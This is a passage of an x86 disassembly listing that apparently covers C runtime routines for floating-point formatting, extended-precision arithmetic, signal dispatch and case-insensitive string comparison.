		mov	ebx, [ebp+var_3C+2]
		mov	esi, [ebp+var_36]
		mov	eax, [ebp+var_32]
		add	esp, 0Ch
		jmp	short loc_41ED4B
; ---------------------------------------------------------------------------


loc_41ED1C:				; CODE XREF: sub_41E967+25Fj
		mov	[ebp+var_18], 4
		jmp	short loc_41ED43
; ---------------------------------------------------------------------------


loc_41ED25:				; CODE XREF: sub_41E967+38Ej
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_18], 2
		jmp	short loc_41ED4B
; ---------------------------------------------------------------------------


loc_41ED3C:				; CODE XREF: sub_41E967+395j
		mov	[ebp+var_18], 1


loc_41ED43:				; CODE XREF: sub_41E967+281j
					; sub_41E967+3BCj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx


loc_41ED4B:				; CODE XREF: sub_41E967+3B3j
					; sub_41E967+3D3j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_2C]
		mov	[ecx+2], ebx
		mov	[ecx+6], esi
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_18]
		mov	[ecx], dx
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41E967	endp

; ---------------------------------------------------------------------------
off_41ED71	dd offset loc_41E9D4	; DATA XREF: sub_41E967+66r
		dd offset loc_41EA27	; jump table for switch	statement
		dd offset loc_41EA88
		dd offset loc_41EAB3
		dd offset loc_41EAEE
		dd offset loc_41EB46
		dd offset loc_41EB66
		dd offset loc_41EBF3
		dd offset loc_41EB9E
		dd offset loc_41EC58
		dd offset loc_41EC40
		dd offset loc_41EC10

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDA1	proc near		; CODE XREF: sub_41DD74+36p

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_23], 0CCh
		mov	[ebp+var_22], 0CCh
		mov	[ebp+var_21], 0CCh
		mov	[ebp+var_20], 0CCh
		mov	[ebp+var_1F], 0CCh
		mov	[ebp+var_1E], 0CCh
		mov	[ebp+var_1D], 0CCh
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0FBh
		mov	[ebp+var_19], 3Fh
		mov	[ebp+var_8], 1
		mov	edx, eax
		jz	short loc_41EE0E
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41EE12
; ---------------------------------------------------------------------------


loc_41EE0E:				; CODE XREF: sub_41EDA1+65j
		mov	byte ptr [ebx+2], 20h


loc_41EE12:				; CODE XREF: sub_41EDA1+6Bj
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_41EE27
		test	edi, edi
		jnz	short loc_41EE27
		cmp	[ebp+arg_0], edi
		jz	loc_41EF1A


loc_41EE27:				; CODE XREF: sub_41EDA1+77j
					; sub_41EDA1+7Bj
		cmp	dx, si
		jnz	short loc_41EEA4
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_41EE40
		cmp	[ebp+arg_0], 0
		jz	short loc_41EE4F


loc_41EE40:				; CODE XREF: sub_41EDA1+97j
		test	edi, 40000000h
		jnz	short loc_41EE4F
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41EE95
; ---------------------------------------------------------------------------


loc_41EE4F:				; CODE XREF: sub_41EDA1+9Dj
					; sub_41EDA1+A5j
		test	cx, cx
		jz	short loc_41EE69
		cmp	edi, 0C0000000h
		jnz	short loc_41EE69
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EE90
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41EE78
; ---------------------------------------------------------------------------


loc_41EE69:				; CODE XREF: sub_41EDA1+B1j
					; sub_41EDA1+B9j
		cmp	edi, eax
		jnz	short loc_41EE90
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EE90
		push	offset a1Inf	; "1#INF"


loc_41EE78:				; CODE XREF: sub_41EDA1+C6j
		lea	eax, [ebx+4]
		push	eax
		call	sub_419C40
		mov	byte ptr [ebx+3], 5


loc_41EE85:				; CODE XREF: sub_41EDA1+101j
		and	[ebp+var_8], 0
		pop	ecx
		pop	ecx
		jmp	loc_41EFFC
; ---------------------------------------------------------------------------


loc_41EE90:				; CODE XREF: sub_41EDA1+BFj
					; sub_41EDA1+CAj ...
		push	offset a1Qnan	; "1#QNAN"


loc_41EE95:				; CODE XREF: sub_41EDA1+ACj
		lea	eax, [ebx+4]
		push	eax
		call	sub_419C40
		mov	byte ptr [ebx+3], 6
		jmp	short loc_41EE85
; ---------------------------------------------------------------------------


loc_41EEA4:				; CODE XREF: sub_41EDA1+89j
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_18], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_16], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_E], dx
		mov	[ebp+var_12], edi
		call	sub_41F4DB
		add	esp, 0Ch
		cmp	[ebp+var_E], 3FFFh
		jb	short loc_41EF05
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		inc	esi
		call	sub_41F2A3
		pop	ecx
		pop	ecx


loc_41EF05:				; CODE XREF: sub_41EDA1+152j
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_41EF23
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41EF23


loc_41EF1A:				; CODE XREF: sub_41EDA1+80j
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F020
; ---------------------------------------------------------------------------


loc_41EF23:				; CODE XREF: sub_41EDA1+16Ej
					; sub_41EDA1+177j
		cmp	edi, 15h
		jle	short loc_41EF2B
		push	15h
		pop	edi


loc_41EF2B:				; CODE XREF: sub_41EDA1+185j
		movzx	esi, [ebp+var_E]
		sub	esi, 3FFEh
		and	[ebp+var_E], 0
		mov	[ebp+arg_8], 8


loc_41EF41:				; CODE XREF: sub_41EDA1+1ADj
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E828
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_41EF41
		test	esi, esi
		jge	short loc_41EF6B
		neg	esi
		and	esi, 0FFh
		jle	short loc_41EF6B


loc_41EF5E:				; CODE XREF: sub_41EDA1+1C8j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E856
		dec	esi
		pop	ecx
		jnz	short loc_41EF5E


loc_41EF6B:				; CODE XREF: sub_41EDA1+1B1j
					; sub_41EDA1+1BBj
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+arg_8], eax
		jle	short loc_41EFC8
		mov	[ebp+var_C], ecx


loc_41EF7B:				; CODE XREF: sub_41EDA1+222j
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_30]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		movsd
		call	sub_41E828
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E828
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E7CA
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E828
		mov	al, byte ptr [ebp+var_E+1]
		mov	ecx, [ebp+arg_8]
		and	byte ptr [ebp+var_E+1],	0
		add	al, 30h
		add	esp, 14h
		inc	[ebp+arg_8]
		dec	[ebp+var_C]
		mov	[ecx], al
		jnz	short loc_41EF7B
		mov	eax, [ebp+arg_8]


loc_41EFC8:				; CODE XREF: sub_41EDA1+1D5j
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F015
		jmp	short loc_41EFDF
; ---------------------------------------------------------------------------


loc_41EFD6:				; CODE XREF: sub_41EDA1+240j
		cmp	byte ptr [eax],	39h
		jnz	short loc_41EFE3
		mov	byte ptr [eax],	30h
		dec	eax


loc_41EFDF:				; CODE XREF: sub_41EDA1+233j
		cmp	eax, ecx
		jnb	short loc_41EFD6


loc_41EFE3:				; CODE XREF: sub_41EDA1+238j
		cmp	eax, ecx
		jnb	short loc_41EFEB
		inc	eax
		inc	word ptr [ebx]


loc_41EFEB:				; CODE XREF: sub_41EDA1+244j
		inc	byte ptr [eax]


loc_41EFED:				; CODE XREF: sub_41EDA1+27Aj
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41EFFC:				; CODE XREF: sub_41EDA1+EAj
		mov	eax, [ebp+var_8]


loc_41EFFF:				; CODE XREF: sub_41EDA1+292j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F00F:				; CODE XREF: sub_41EDA1+276j
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F019
		dec	eax


loc_41F015:				; CODE XREF: sub_41EDA1+231j
		cmp	eax, ecx
		jnb	short loc_41F00F


loc_41F019:				; CODE XREF: sub_41EDA1+271j
		cmp	eax, ecx
		jnb	short loc_41EFED
		mov	byte ptr [ecx],	30h


loc_41F020:				; CODE XREF: sub_41EDA1+17Dj
		and	word ptr [ebx],	0
		and	byte ptr [ebx+5], 0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		inc	eax
		jmp	short loc_41EFFF
sub_41EDA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F035	proc near		; CODE XREF: sub_41F063+72p
		mov	ecx, dword_42E0CC
		mov	eax, edx
		push	edi


loc_41F03E:				; CODE XREF: sub_41F035+19j
		cmp	[eax+4], esi
		jz	short loc_41F050
		lea	edi, [ecx+ecx*2]
		add	eax, 0Ch
		lea	edi, [edx+edi*4]
		cmp	eax, edi
		jb	short loc_41F03E


loc_41F050:				; CODE XREF: sub_41F035+Cj
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		pop	edi
		jnb	short loc_41F060
		cmp	[eax+4], esi
		jz	short locret_41F062


loc_41F060:				; CODE XREF: sub_41F035+24j
		xor	eax, eax

locret_41F062:				; CODE XREF: sub_41F035+29j
		retn
sub_41F035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F063	proc near		; CODE XREF: sub_41AA6F+395Fp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041F1AB SIZE 00000031 BYTES

		push	20h
		push	offset stru_429D70
		call	__SEH_prolog
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+arg_0]
		dec	eax
		dec	eax
		jz	short loc_41F0E5
		dec	eax
		dec	eax
		jz	short loc_41F0C5
		sub	eax, 4
		jz	short loc_41F0C5
		sub	eax, 3
		jz	short loc_41F0C5
		sub	eax, 4
		jz	short loc_41F0B8
		sub	eax, 6
		jz	short loc_41F0AB
		dec	eax
		jz	short loc_41F09E
		or	eax, 0FFFFFFFFh
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F09E:				; CODE XREF: sub_41F063+31j
		mov	esi, offset dword_47C5EC
		mov	edi, dword_47C5EC
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F0AB:				; CODE XREF: sub_41F063+2Ej
		mov	esi, offset dword_47C5E8
		mov	edi, dword_47C5E8
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F0B8:				; CODE XREF: sub_41F063+29j
		mov	esi, offset dword_47C5F0
		mov	edi, dword_47C5F0
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F0C5:				; CODE XREF: sub_41F063+1Aj
					; sub_41F063+1Fj ...
		call	sub_416E15
		mov	ebx, eax
		mov	[ebp+var_24], ebx
		mov	edx, [ebx+54h]
		mov	esi, [ebp+arg_0]
		call	sub_41F035
		mov	esi, eax
		add	esi, 8
		mov	edi, [esi]
		xor	ecx, ecx
		jmp	short loc_41F0FA
; ---------------------------------------------------------------------------


loc_41F0E5:				; CODE XREF: sub_41F063+16j
		mov	esi, offset dword_47C5E4
		mov	edi, dword_47C5E4


loc_41F0F0:				; CODE XREF: sub_41F063+46j
					; sub_41F063+53j ...
		mov	[ebp+var_1C], 1
		mov	ebx, [ebp+var_24]


loc_41F0FA:				; CODE XREF: sub_41F063+80j
		mov	[ebp+var_20], edi
		cmp	edi, 1
		jz	loc_41F1D4
		cmp	edi, ecx
		jnz	short loc_41F111
		push	3
		call	sub_4160A4


loc_41F111:				; CODE XREF: sub_41F063+A5j
		cmp	[ebp+var_1C], ecx
		jz	short loc_41F11F
		push	ecx
		call	sub_418285
		pop	ecx
		xor	ecx, ecx


loc_41F11F:				; CODE XREF: sub_41F063+B1j
		mov	[ebp+ms_exc.disabled], ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_41F134
		cmp	eax, 0Bh
		jz	short loc_41F134
		cmp	eax, 4
		jnz	short loc_41F14F


loc_41F134:				; CODE XREF: sub_41F063+C5j
					; sub_41F063+CAj
		mov	edx, [ebx+58h]
		mov	[ebp+var_28], edx
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_41F17B
		mov	edx, [ebx+5Ch]
		mov	[ebp+var_2C], edx
		mov	dword ptr [ebx+5Ch], 8Ch


loc_41F14F:				; CODE XREF: sub_41F063+CFj
		cmp	eax, 8
		jnz	short loc_41F17B
		mov	eax, dword_42E0C0


loc_41F159:				; CODE XREF: sub_41F063+116j
		mov	[ebp+var_30], eax
		mov	edx, dword_42E0C4
		mov	esi, dword_42E0C0
		add	edx, esi
		cmp	eax, edx
		jge	short loc_41F17D
		lea	edx, [eax+eax*2]
		mov	esi, [ebx+54h]
		mov	[esi+edx*4+8], ecx
		inc	eax
		jmp	short loc_41F159
; ---------------------------------------------------------------------------


loc_41F17B:				; CODE XREF: sub_41F063+DDj
					; sub_41F063+EFj
		mov	[esi], ecx


loc_41F17D:				; CODE XREF: sub_41F063+109j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41F19E
		cmp	[ebp+arg_0], 8
		jnz	short loc_41F1AB
		push	dword ptr [ebx+5Ch]
		push	8
		call	edi
		pop	ecx
		jmp	short loc_41F1B0
sub_41F063	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F196	proc near		; DATA XREF: .rdata:stru_429D70o
		mov	edi, [ebp-20h]
		mov	ebx, [ebp-24h]
		xor	ecx, ecx
sub_41F196	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F19E	proc near		; CODE XREF: sub_41F063+11Ep
		cmp	[ebp-1Ch], ecx
		jz	short locret_41F1AA
		push	ecx
		call	sub_4181F1
		pop	ecx

locret_41F1AA:				; CODE XREF: sub_41F19E+3j
		retn
sub_41F19E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F063


loc_41F1AB:				; CODE XREF: sub_41F063+127j
		push	[ebp+arg_0]
		call	edi


loc_41F1B0:				; CODE XREF: sub_41F063+131j
		pop	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_41F1C3
		cmp	eax, 0Bh
		jz	short loc_41F1C3
		cmp	eax, 4
		jnz	short loc_41F1D4


loc_41F1C3:				; CODE XREF: sub_41F063+154j
					; sub_41F063+159j
		mov	ecx, [ebp+var_28]
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_41F1D4
		mov	eax, [ebp+var_2C]
		mov	[ebx+5Ch], eax


loc_41F1D4:				; CODE XREF: sub_41F063+9Dj
					; sub_41F063+15Ej ...
		xor	eax, eax


loc_41F1D6:				; CODE XREF: sub_41F063+36j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41F063
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_41F23A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_41F1FC:				; CODE XREF: .text:0041F229j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_41F22B
		or	al, al
		jz	short loc_41F22B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_41F218
		cmp	ah, bl
		ja	short loc_41F218
		add	ah, dh


loc_41F218:				; CODE XREF: .text:0041F210j
					; .text:0041F214j
		cmp	al, bh
		jb	short loc_41F222
		cmp	al, bl
		ja	short loc_41F222
		add	al, dh


loc_41F222:				; CODE XREF: .text:0041F21Aj
					; .text:0041F21Ej
		cmp	ah, al
		jnz	short loc_41F231
		sub	ecx, 1
		jnz	short loc_41F1FC


loc_41F22B:				; CODE XREF: .text:0041F202j
					; .text:0041F206j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_41F23A


loc_41F231:				; CODE XREF: .text:0041F224j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_41F23A
		neg	ecx


loc_41F23A:				; CODE XREF: .text:0041F1EBj
					; .text:0041F22Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F241	proc near		; CODE XREF: sub_41E66E+73p
					; sub_41E66E+C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		lea	eax, [eax+eax*8]
		lea	edx, [ecx+eax*4+4]
		mov	cl, [edx]
		xor	eax, eax
		mov	al, cl
		push	esi
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F277
		and	cl, 7Fh
		jmp	short loc_41F284
; ---------------------------------------------------------------------------


loc_41F277:				; CODE XREF: sub_41F241+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F293
		or	cl, 80h


loc_41F284:				; CODE XREF: sub_41F241+34j
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, esi
		mov	[edx], cl
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F293:				; CODE XREF: sub_41F241+3Ej
		call	sub_419600
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F241	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2A3	proc near		; CODE XREF: sub_41EDA1+15Dp
					; sub_41F4DB+6Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F4B0
		cmp	cx, 7FFFh
		jnb	loc_41F4B0
		cmp	dx, 0BFFDh
		ja	loc_41F4B0
		cmp	dx, 3FBFh
		ja	short loc_41F319
		xor	eax, eax
		jmp	short loc_41F353
; ---------------------------------------------------------------------------


loc_41F319:				; CODE XREF: sub_41F2A3+70j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F33B
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_41F33D
		cmp	[esi+4], eax
		jnz	short loc_41F33D
		cmp	[esi], eax
		jnz	short loc_41F33D
		jmp	loc_41F4AA
; ---------------------------------------------------------------------------


loc_41F33B:				; CODE XREF: sub_41F2A3+7Ej
		xor	eax, eax


loc_41F33D:				; CODE XREF: sub_41F2A3+88j
					; sub_41F2A3+8Dj ...
		cmp	cx, ax
		jnz	short loc_41F360
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F360
		cmp	[ebx+4], eax
		jnz	short loc_41F360
		cmp	[ebx], eax
		jnz	short loc_41F360


loc_41F353:				; CODE XREF: sub_41F2A3+74j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F4CB
; ---------------------------------------------------------------------------


loc_41F360:				; CODE XREF: sub_41F2A3+9Dj
					; sub_41F2A3+A5j ...
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	[ebp+arg_4], 5


loc_41F370:				; CODE XREF: sub_41F2A3+12Fj
		mov	eax, [ebp+var_14]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F3C4
		add	eax, esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], eax


loc_41F38C:				; CODE XREF: sub_41F2A3+11Fj
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_8]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E7A9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F3B7
		mov	eax, [ebp+var_8]
		inc	word ptr [eax]


loc_41F3B7:				; CODE XREF: sub_41F2A3+10Cj
		add	[ebp+var_C], 2
		sub	[ebp+var_10], 2
		dec	[ebp+var_1C]
		jnz	short loc_41F38C


loc_41F3C4:				; CODE XREF: sub_41F2A3+D6j
		add	[ebp+var_8], 2
		inc	[ebp+var_14]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F370
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F407


loc_41F3E2:				; CODE XREF: sub_41F2A3+15Bj
		test	byte ptr [ebp+var_20+3], 80h
		jnz	short loc_41F400
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41E828
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
		jg	short loc_41F3E2


loc_41F400:				; CODE XREF: sub_41F2A3+143j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F440


loc_41F407:				; CODE XREF: sub_41F2A3+13Dj
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F440
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx


loc_41F420:				; CODE XREF: sub_41F2A3+191j
		test	byte ptr [ebp+var_28], 1
		jz	short loc_41F429
		inc	[ebp+var_18]


loc_41F429:				; CODE XREF: sub_41F2A3+181j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41E856
		dec	ebx
		pop	ecx
		jnz	short loc_41F420
		cmp	[ebp+var_18], 0
		jz	short loc_41F440
		or	byte ptr [ebp+var_28], 1


loc_41F440:				; CODE XREF: sub_41F2A3+162j
					; sub_41F2A3+170j ...
		cmp	word ptr [ebp+var_28], 8000h
		ja	short loc_41F457
		mov	eax, [ebp+var_28]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F48C


loc_41F457:				; CODE XREF: sub_41F2A3+1A3j
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_41F489
		and	[ebp+var_28+2],	0
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F484
		and	[ebp+var_24+2],	0
		cmp	word ptr [ebp+var_20+2], 0FFFFh
		jnz	short loc_41F47E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_20+2], 8000h
		jmp	short loc_41F48C
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F2A3+1CEj
		inc	word ptr [ebp+var_20+2]
		jmp	short loc_41F48C
; ---------------------------------------------------------------------------


loc_41F484:				; CODE XREF: sub_41F2A3+1C2j
		inc	[ebp+var_24+2]
		jmp	short loc_41F48C
; ---------------------------------------------------------------------------


loc_41F489:				; CODE XREF: sub_41F2A3+1B8j
		inc	[ebp+var_28+2]


loc_41F48C:				; CODE XREF: sub_41F2A3+1B2j
					; sub_41F2A3+1D9j ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F4B0
		mov	cx, word ptr [ebp+var_28+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_24]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_20]
		mov	[esi+6], ecx
		or	eax, edi


loc_41F4AA:				; CODE XREF: sub_41F2A3+93j
		mov	[esi+0Ah], ax
		jmp	short loc_41F4CB
; ---------------------------------------------------------------------------


loc_41F4B0:				; CODE XREF: sub_41F2A3+4Fj
					; sub_41F2A3+5Aj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41F4CB:				; CODE XREF: sub_41F2A3+B8j
					; sub_41F2A3+20Bj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41F2A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4DB	proc near		; CODE XREF: sub_41E967+39Fp
					; sub_41EDA1+144p

var_10		= byte ptr -10h
var_E		= dword	ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, offset dword_42E360
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_4], eax
		jz	short loc_41F559
		jge	short loc_41F509
		neg	[ebp+arg_4]
		mov	ebx, offset dword_42E4C0
		sub	ebx, 60h


loc_41F509:				; CODE XREF: sub_41F4DB+21j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F514
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41F514:				; CODE XREF: sub_41F4DB+31j
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F559
		push	esi
		push	edi


loc_41F51B:				; CODE XREF: sub_41F4DB+7Aj
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_41F552
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_41F545
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		dec	[ebp+var_E]
		lea	esi, [ebp+var_10]


loc_41F545:				; CODE XREF: sub_41F4DB+5Cj
		push	esi
		push	[ebp+arg_0]
		call	sub_41F2A3
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41F552:				; CODE XREF: sub_41F4DB+4Fj
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F51B
		pop	edi
		pop	esi


